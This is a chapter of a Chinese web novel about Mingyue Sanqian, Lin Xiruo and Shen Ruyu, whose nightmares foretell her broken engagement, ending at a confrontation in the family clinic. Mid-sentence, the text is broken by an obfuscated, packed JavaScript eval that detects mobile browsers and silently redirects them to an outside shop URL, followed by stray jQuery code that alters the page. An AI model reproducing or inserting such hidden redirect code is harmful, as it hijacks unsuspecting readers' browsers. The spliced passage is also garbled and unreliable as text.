时间突然流转得很慢,过了好久好久,两人的唇才逐渐靠在一起,潮热的气息相互缠绕。这一瞬间,明月三千脑子里闪过种种念头,猛的惊醒,别过头去,长出一口气。
“林奚若,你醉了,我还是先扶你回房吧。”
“我来!”东洲的声音传来,下一瞬,他的人影立刻闪了过来,“公子醉得这么厉害,磕着碰着就不好了,还是我送他回房吧。”
“也好,”明月三千点点头,“那等下再给他弄些醒酒汤吧。”
东洲连忙表示,他会照顾好林奚若,请许小姐放心。
说完搀着林奚若回房,他一路上对着醉态失神的林奚若喋喋不休:“公子,像我这么尽职尽责的手下可不多见,你得给我涨月钱,记得啊,醒来要给我涨月钱!”
林奚若一把推开他,很自然地站直站稳,眼神清明中又带一点沉郁,整个人看上去无比正常,醉态全无。
“你太吵了。”
“公子,你没醉?!”东洲睁大眼睛。
“原本醉了,被你吵得酒醒了。”
东洲:“……”
他竟不知他说话的声音居然还有解酒的功效,一时十分无语,口无遮拦地开口:“公子,我懂你,假托醉酒还不至于太丢面子。不过你也不必太伤心,毕竟你和许小姐有婚约在身,说到底,外面那些只是上不了台面的莺莺燕燕。”
林奚若的眼中杀气横生,轻轻吐出一个字:“滚。”
东洲缩了缩脖子,笑一声还想再说些什么,一触到林奚若的眼神,立刻很有眼色地闭了嘴,忙不迭跑走了。
明月三千心情复杂地回到自己的房间,躺下后翻来覆去睡不着,一直苦苦思索,那句“惜取眼前人”究竟是什么意思。
林奚若该不会喜欢自己吧。
她脑子里突然冒出来这个奇怪的念头。可是怎么可能呢,他那样眼高于顶的一个人,根本不可能会喜欢任何人。他肯定是喝醉了发酒疯,对,肯定是这样。这个家伙,发酒疯竟然发到她的身上,回头一定要找他算账!明月三千顿时气不打一处来,又想到莘如玉退婚的事,更加觉得一切扑朔迷离,日后必定得小心行事才行。
莘如玉并不知道自己如此被人惦念,今晚的她又一次被噩梦缠身。
梦里,表弟叶佩松带着失明的许千澜来到莘家,跟随一起来的,还有她一往情深的未婚夫崔绍渊。许千澜是个可怜又可爱的姑娘,她以前去荔州采集药草时,曾救过她和她的恋人。表弟对她情根深种,哪怕她的眼睛再也治不好,也毫不在意。莘如玉很是羡慕,在心中期盼着,若是崔绍渊也能真心待她,该有多好。崔绍渊有真心,却不是对她,而是那位许千澜姑娘。许千澜不想拖累他们,一直在拒绝这两人的心意。可崔绍渊仍是要退婚,并且对自己产生误会和敌意,恶言相向,百般厌弃。
莘如玉伤心欲绝,不禁感慨命运弄人,她曾经救下许千澜的命,许千澜却夺走了她未婚夫的心。尽管心里知道这不是许千澜的本意,却依旧不想再见到这个人。她为许千澜治眼后,立马将其赶出了莘家。眼睛能够完全康复是需要一个过程的,这又让崔绍渊误会了她,以为她挟私报复,不肯救治自己的情敌。后来,崔家的旧事被翻出来,崔绍渊不仅不相帮一二,甚至推波助澜、落井下石,让人寒心至极。他们一家人再没能躲过这场劫难,含恨离世。
莘如玉被梦魇住,紧皱眉头,满脸是汗,嘴里无意识地念叨着。声音不大,却足以吵醒睡在一旁的金银珠。
昨日,莘如玉从花园的小门撵出去,果然追上了金银珠。她见识过不少崩溃失控的病人,最是懂得怎么安抚住一个人,让其安静下来。
金银珠本就对在莘家叨扰多日心存感激,见到是莘如玉,自然不好再冷言冷语,很快就被攻破,同莘如玉一起回了莘家。
莘如玉帮她重新梳妆打扮,称赞她原来是个这么漂亮的姑娘,她表弟真是没眼光,金银珠忍不住笑起来,两人一下子拉近了距离。
金银珠早就想把心事讲给人听,可惜身边一直没有适合诉说的人,现今正好不吐不快。她给莘如玉讲述她和叶佩松等人的故事,讲到难过的地方潸然落泪,再不用强装坚强。莘如玉柔声安慰,也给金银珠讲她和崔绍渊婚约的渊源,以及她为什么要退婚,虽说她的确是不喜欢崔绍渊这个人,更重要的是想把此生献给最钟爱的医道。金银珠很佩服莘如玉的勇气和志向,又觉得有些羞赧,说自己不单纯是因为一个不要自己的男人就离家出走,跑到大隋来,真正的原因是她从小听父亲谈论远在江南的家乡,一直都很向往,所以才想来江南看看,也权当散心。
莘如玉看出金银珠是个有着自己的骄傲的姑娘,于是避过这个话题,夸赞她勇敢,小小年纪就能一个人出远门,真是不一般。金银珠也夸赞她,医术高明,年纪轻轻就能够独当一面,才真正令人佩服。
两人聊到很晚,相携而眠。
莘如玉不是什么心无私念的滥好人,她有自己的小算盘。
从有记忆起,她经常做同一个梦,梦里她的未婚夫爱上了一个女子,为了那个女子误会她、伤害她,无论她怎么做都不能挽回自己的命运和一家人的命运。她悲苦至极,醒来后总是泪流满面。她不知道自己为什么会做这样的梦,像是上一世残存的记忆,又像是上苍给她的预言。随着时间的推移,梦里的事一件件在她面前上演,她这才开始重视,说什么也要退掉和崔绍渊的婚约,这辈子要平平安安的过,不能在和这个人有任何瓜葛。偏偏婚约退不掉,崔绍渊还黏了上来,她忧心又无奈,只能走一步看一步。
早在叶佩松回来的那一刻,她已然发现事情开始有了变化,直到见到许千澜,这一世的许千澜没有失明,却毁容了,叶佩松没有对许千澜情根深种,而是喜欢上了别的女子,真是让人匪夷所思。她迫切地想知道究竟发生了什么,正好见到了金银珠和金智对峙那一幕,决定从金银珠身上着手。
和她聊了整整一个晚上,得知了很多事情,这才发现原来和许千澜有关的那一部分,和上一世都不一样了。她辗转反侧许久,终于沉沉睡去,却没料到自己会再一次陷入梦魇中,还被金银珠见到。
“如玉姐姐,你怎么了,是做噩梦了吗?”金银珠关切地望着她。
莘如玉点点头,不想就这个问题深聊下去,于是转移话题道:“我今天去医馆出诊,你若是感兴趣,可以跟我一起去。”
“好啊。”金银珠笑吟吟道。
昨晚她已经想明白,既然她的父亲已经找到了梅城,她不好再跑,这里有新认识的朋友,还是父亲的家乡,她想多留些日子。既然又住回了莘家,那去医馆帮莘如玉做些事情,也是一个不错的选择。
与此同时,住在客栈里的一行人正坐在一起用早饭,气氛格外怪异。
明月三千觉得自己被占了便宜,很想找林奚若不痛快,可一见到他就莫名不自在,只好罢休。
林芷若笑嘻嘻道:“你们两个怪怪的,以往总是免不了要呛几句,怎么今日相敬如宾起来了?”
明月三千被她这句“相敬如宾给”呛到,咳嗽起来:“芷若,你别乱说,相敬如宾是形容夫妻的。”
林芷若眨眨眼:“那我就更没用错了,你们两个是未婚夫妻,用相敬如宾怎么能算是用错呢?不过,你俩今日这般模样,我还真是有点不习惯。”
林奚若一直不动声色,忽然笑了笑看向明月三千:“听东洲说,昨日我醉酒回来时遇到了许小姐,我没做什么出格的举动吧?若是有,我向你道歉。”
明月三千磨牙,盯了林奚若半晌,皮笑肉不笑地开口:“没什么,我不会放在心上。”
林奚若神色一凝,跟着又一笑,气氛更加怪异。
正吃着饭,叶佩松过来了,告诉他们昨晚金银珠一直和莘如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907570|208815||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玉在一起,又讲了前几日金银珠在莘家一直躲着他的事。
“阿珠今日没再躲我,正常出现在饭桌上,也换回了女装……她像是被如玉表姐给劝住了。哦对了,表姐说,阿珠今天会跟她去医馆帮忙。我们要不要也跟过去看看?”
几人相互交流了一下眼神,一致决定是得跟过去看看。
莘氏医馆不大,最里面是一层层的药柜,靠窗的位置摆着两张桌子,出诊的大夫便坐在这里给病人看诊写药方。病人可以顺便在莘氏医馆里抓药,也可以自行带走药方去别的药房抓药。由于莘氏药馆价格公道,药草齐全,绝大多数病人都会直接在这里抓药。并且,莘家世代行医,医术高明,对病人又和善有耐心,口碑极好,声名远播。渐渐的,周边县里的百姓也会跑来莘氏医馆看病。
莘家以医道传家,并不信奉男主外女主内那一套儒家思想,而是女儿家也可以抛头露面,经营自己的事业。是以,莘如玉只要有空时,都会来莘家的医馆坐诊。
她有着梦里那些特殊的记忆,对医术医道的理解更上一层楼,甚至超过了其父莘东明。梅城百姓自是知道莘家的如玉姑娘,妙手回春药到病除,堪称华佗在世,碰到她坐诊时,甚至会弃了莘东明,转而来找莘如玉瞧病。莘东明并不会感到不快,反而为女儿感到自豪。
每次莘如玉和莘东明一起出诊时,病人都会自发地在两人的桌子前面排两条长龙,偶尔莘如玉要钻研新药方不能出诊时,莘东明一个人就会忙得不可开交。今日正相反,莘东明有事没来医馆,只有莘如玉一个人,忙得连口水都喝不上。
金银珠不懂医道方面的事,只能先在一边帮莘如玉磨墨。她穿一件绛红色芍药暗纹缎面交领襦裙,发形仍是北庭风格,梳成数条细长辫子,自肩前垂落下来,发髻上嵌着金色的顶簪,又从中间垂下一枚红色的珠子,刚刚好挂在额前,整个人看上去明艳不可方物,又带着十足的异域感和野性美。
莘如玉同样是个美人,却是和金银珠完全不一样的一种美,莘如玉端庄秀丽,温柔无害,像是一株静静绽放的百合花,并不夺人眼球,却自有一番淡雅恬静的美。
两人一同出现,一静一动,一艳一柔,频频引来注目。
一切正井然有序,突然有个家仆模样的人进来清场,排队的百姓虽脸色不好看,却仍是乖顺地避让到边上。
那家仆吆五喝六,趾高气扬的模样,嘴里不停地念叨着“快快快,都给我闪开”,继而弯腰屈膝,又换了一张曲意逢迎的面孔,让人将一架轿撵抬了进来。轿撵上坐着一个中年男子,如今虽肥头圆面了些,依然能够看出来年轻时应也是一副不错的相貌。
他上前将轿撵上的人扶下来,脸上堆着讨好的笑:“爷,当心身子。”
肥头圆面男扫一眼全场,带着点矜傲,缓缓下了轿撵。
家仆像是熟谙变脸之术,立刻又对莘如玉横眉冷目:“小丫头,你爹呢,快喊出来给我们爷瞧病。”
“事有轻重缓急,人有先来后到,我爹不在,我也只给守规矩的人看病。”莘如玉已将那肥头圆面男的面色、身姿看了又看,没看出他有急症,需要如此大动干戈,因此并不配合。
家丁一脸狂傲:“规矩?我们金家的话就是梅城的规矩。今天你敢拒诊,明天就有人抓你进大牢。”
莘如玉眉心一蹙,难怪这几人敢如此猖狂行事,原来是金家的人。她深知金家在梅城的势力盘根错节,普通小户人家根本得罪不起。前几年,金家的四老爷金毅更是当上了梅城的县令,金家人作威作福,更无顾忌。梅城距离京城甚远,地方官轻易便可一手摭天,若是得罪了金家人,他们莘家也别想在梅城待下去了。
她垂了垂眼眸,心头涌起一阵强烈的无力感,她已经不再是上一世那个天真单纯的莘如玉,是不是应该学会审时度势?为了莘家,为了家人,她是不是应该学会退让、委屈求全?